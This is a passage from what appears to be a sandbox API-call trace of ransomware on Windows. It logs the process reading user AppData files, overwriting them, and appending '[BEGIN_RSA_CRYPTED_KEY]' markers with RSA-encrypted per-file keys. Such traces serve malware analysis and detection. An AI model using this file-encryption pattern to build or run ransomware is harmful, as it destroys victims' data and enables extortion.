dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.382] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.383] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.384] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.384] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.384] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="q5o38uXyo2zgYceXRTh16JvgDQDnE8hzHCsSdMf8PUsVLlGVLxon2M1tKxcL+TCl\nBVSFl2kUgEdhImQV7FNjsSzkWf0EdYmUtfL3JSaS0zcB55bYC6IUGhy54UcoZgJ/\nGGUMvg8UAlBICkZ/rJvN8xRGeQdbochI6kRG2N17M+7Tug6TemI36d8L30374plm\nc0RDjwIsaMvnU8OBbUb8/fsKn7du4QCzxHbKDwnBwQrgglF7IRFLYepYIwxVIcOR\n21I6rP8ZKJUAP5Zr8cLl9rhSbCUr0/az35QBCITodH+ZUu8Bjcarur+2ckE2D+oY\nRqzrMxAx4GwSwB1N1/gelQ==\n", pcchString=0x2e3f9a8) returned 1 [0201.384] WriteFile (in: hFile=0x11d8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.385] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.385] WriteFile (in: hFile=0x11d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.385] CloseHandle (hObject=0x11d8) returned 1 [0201.388] WriteFile (in: hFile=0x11e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.389] CloseHandle (hObject=0x11e4) returned 1 [0201.390] WriteFile (in: hFile=0x11e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.391] CloseHandle (hObject=0x11e4) returned 1 [0201.392] WriteFile (in: hFile=0x11e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.394] CloseHandle (hObject=0x11e4) returned 1 [0201.394] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.394] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.394] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6594e0 [0201.394] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.395] ReadFile (in: hFile=0x11f8, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.403] SetFilePointer (in: hFile=0x11f8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.403] WriteFile (in: hFile=0x11f8, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.404] SetFilePointer (in: hFile=0x11f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.404] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.404] WriteFile (in: hFile=0x11f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.404] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.404] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.405] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.405] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.405] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Thlr752BcKQwNuzbesk3pnOUzHZWLEEe1AvDirG8mjXjXDZ1A8kKVCkKJAzaDgnl\n52/8XBA8bE2xs9qBCmDAYwJT6/YEFUPOA4o7urXpD9/aagO+F44THWpRyR9dLPd6\nRoNwwbAqmsgX/frZ++/B/atUZo3voOSmfMhTh6+weUmhL9e44Q1rsRrvRCXeMkM/\nYZFRzcKTDiaildrn64ed0QSp61qGc9X0hRkIiWzj0BWBnt9vxzGSRkdJvGmVNLQg\nbPRJvvlgZjRj3wWjJXDfdqJyLKcHYZKAze6HJhBTYjfb2GIeZ38LW8nKCEni3ozC\nNsOaIsFOW+dDTVJ1hWScZA==\n", pcchString=0x2e3f9a8) returned 1 [0201.405] WriteFile (in: hFile=0x11f8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.405] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.405] WriteFile (in: hFile=0x11f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.405] CloseHandle (hObject=0x11f8) returned 1 [0201.409] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.409] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0201.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.410] ReadFile (in: hFile=0x11f8, lpBuffer=0x59d2c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.410] SetFilePointer (in: hFile=0x11f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.410] WriteFile (in: hFile=0x11f8, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.410] SetFilePointer (in: hFile=0x11f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.410] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.410] WriteFile (in: hFile=0x11f8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kSTQPaDpw00XY9IbB3s2C2UZ17jYqVAHhuTDMatNIftgBqTOCEiUFKaPWaVIP/E5\n+RJCAdJRjcV1Qew+QU3yPrGseILkMxG4eiJZbb66RqHsCRym0ydT5v4M/H02gTSe\nL0InEd7AKI6KN3QcfYoZctGRoxZtaCnJctjJiOMu0Jp4SFpwseSAlS9/oe2AhLUh\nDBk9/+BpdaMIgUcN6o9dWSTwU/qZyKByznQWMiWIS6saurMQPhpsH+IIXkvqW8EM\nB3Ls3Ks+AG5Ac76dWFEvhpgXAc29ubeD4OmM75AWGQvd4Dnr1NJV1Dv93/RyN0xJ\nGaBit7UXcpLlTxqdaTD0pw==\n", pcchString=0x2e3f9a8) returned 1 [0201.412] WriteFile (in: hFile=0x11f8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.412] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.412] WriteFile (in: hFile=0x11f8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.413] CloseHandle (hObject=0x11f8) returned 1 [0201.432] WriteFile (in: hFile=0x1204, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.434] CloseHandle (hObject=0x1204) returned 1 [0201.434] WriteFile (in: hFile=0x1204, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.435] CloseHandle (hObject=0x1204) returned 1 [0201.436] WriteFile (in: hFile=0x1204, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.437] CloseHandle (hObject=0x1204) returned 1 [0201.437] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.437] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0201.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0201.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.438] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.438] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0201.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659e90 [0201.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.439] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662fe0 [0201.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0201.439] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661bf0 [0201.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0201.441] ReadFile (in: hFile=0x1218, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.441] SetFilePointer (in: hFile=0x1218, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.441] WriteFile (in: hFile=0x1218, lpBuffer=0x59d200*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.441] SetFilePointer (in: hFile=0x1218, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.441] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.441] WriteFile (in: hFile=0x1218, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.442] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.442] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.443] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.443] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0E07DyRKiPIoDXkOuekH54M1BxLxCI2snxC4F3RSzwJKj2MuT4mqkk+DWC7dpXfn\nBFS9ycePlXHPtyDvGGSHn2UQdBwyu57XIWCHEx8DvlqcayClFhvWtfNl2nfQ9vAe\n1Sw5RlNxbP8/AB5Oi6E3f3pSaFgE8RJsaxY3gfBCchagyEV3TgHLcKF6nNaFeOAw\nPv1/3nwrSWN5maiELlITadJ/4YAhIx3yv4d7zd+vpSLjB6ZHLi9CXStNITv6+j8e\neICyHxdMQm6ZoKd0S9nPSzdP/OgEWEJn/FUhjB1OnyXeHomlI0ekmOuotQ10y5cP\nxguK7NyJheMjc0+CYLaRXA==\n", pcchString=0x2e3f9a8) returned 1 [0201.443] WriteFile (in: hFile=0x1218, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.443] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.443] WriteFile (in: hFile=0x1218, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.444] CloseHandle (hObject=0x1218) returned 1 [0201.446] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.446] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\UnifiedTileCache.dat", dwFileAttributes=0x80) returned 1 [0201.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ab0 [0201.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0201.446] ReadFile (in: hFile=0x1220, lpBuffer=0x31c4010, nNumberOfBytesToRead=0xfcfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31c4010*, lpNumberOfBytesRead=0x2e3f9b4*=0xfcfe, lpOverlapped=0x0) returned 1 [0201.450] SetFilePointer (in: hFile=0x1220, lDistanceToMove=-64766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.450] WriteFile (in: hFile=0x1220, lpBuffer=0x31d3d18*, nNumberOfBytesToWrite=0xfcfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31d3d18*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfcfe, lpOverlapped=0x0) returned 1 [0201.450] SetFilePointer (in: hFile=0x1220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfcfe [0201.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.451] WriteFile (in: hFile=0x1220, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.451] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.451] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.451] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.452] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="RX5cSEJRkqfleVOvlWpC99RI+H3fca0Q9tVPMKr2JemXlOSrk7M6MzYtCkyYp9mf\nX5bAGzqp+XsOJGtdVCmtCU/cNiqgRYD0hVIQ5ASsUDQnM8AsQCmFbAUL9Rl2kwhm\ndZ+mA8GnUu1kqeGI16XN+lYs5bAaxprpy+ah0K3Y/uhHbQ5g0jsEAR4Ad+slB2o6\nF/+In3/muArhGOmYdw89HfrwaAh5HwwBaEQqOEX6kJRf/RM9A4C0Fyw2QDkIfSfE\nJFigZjnOJuY7Ed/cIdObGpqtpSkHZDy592uFnrK02Mrz68gZVrWAs9pjRwh7vuVa\ns29AkRlKIxhsS0z9gBiZCg==\n", pcchString=0x2e3f9a8) returned 1 [0201.452] WriteFile (in: hFile=0x1220, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.452] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.452] WriteFile (in: hFile=0x1220, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.452] CloseHandle (hObject=0x1220) returned 1 [0201.454] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin", dwFileAttributes=0x80) returned 1 [0201.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660120 [0201.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5c1e10 [0201.454] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin", dwFileAttributes=0x80) returned 1 [0201.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0201.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5c1e10 [0201.457] WriteFile (in: hFile=0x1224, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.458] CloseHandle (hObject=0x1224) returned 1 [0201.459] WriteFile (in: hFile=0x1224, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.461] CloseHandle (hObject=0x1224) returned 1 [0201.461] WriteFile (in: hFile=0x1224, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.462] CloseHandle (hObject=0x1224) returned 1 [0201.463] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.463] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668158 [0201.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.464] ReadFile (in: hFile=0x1238, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.490] SetFilePointer (in: hFile=0x1238, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.490] WriteFile (in: hFile=0x1238, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.490] SetFilePointer (in: hFile=0x1238, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.491] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.491] WriteFile (in: hFile=0x1238, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, 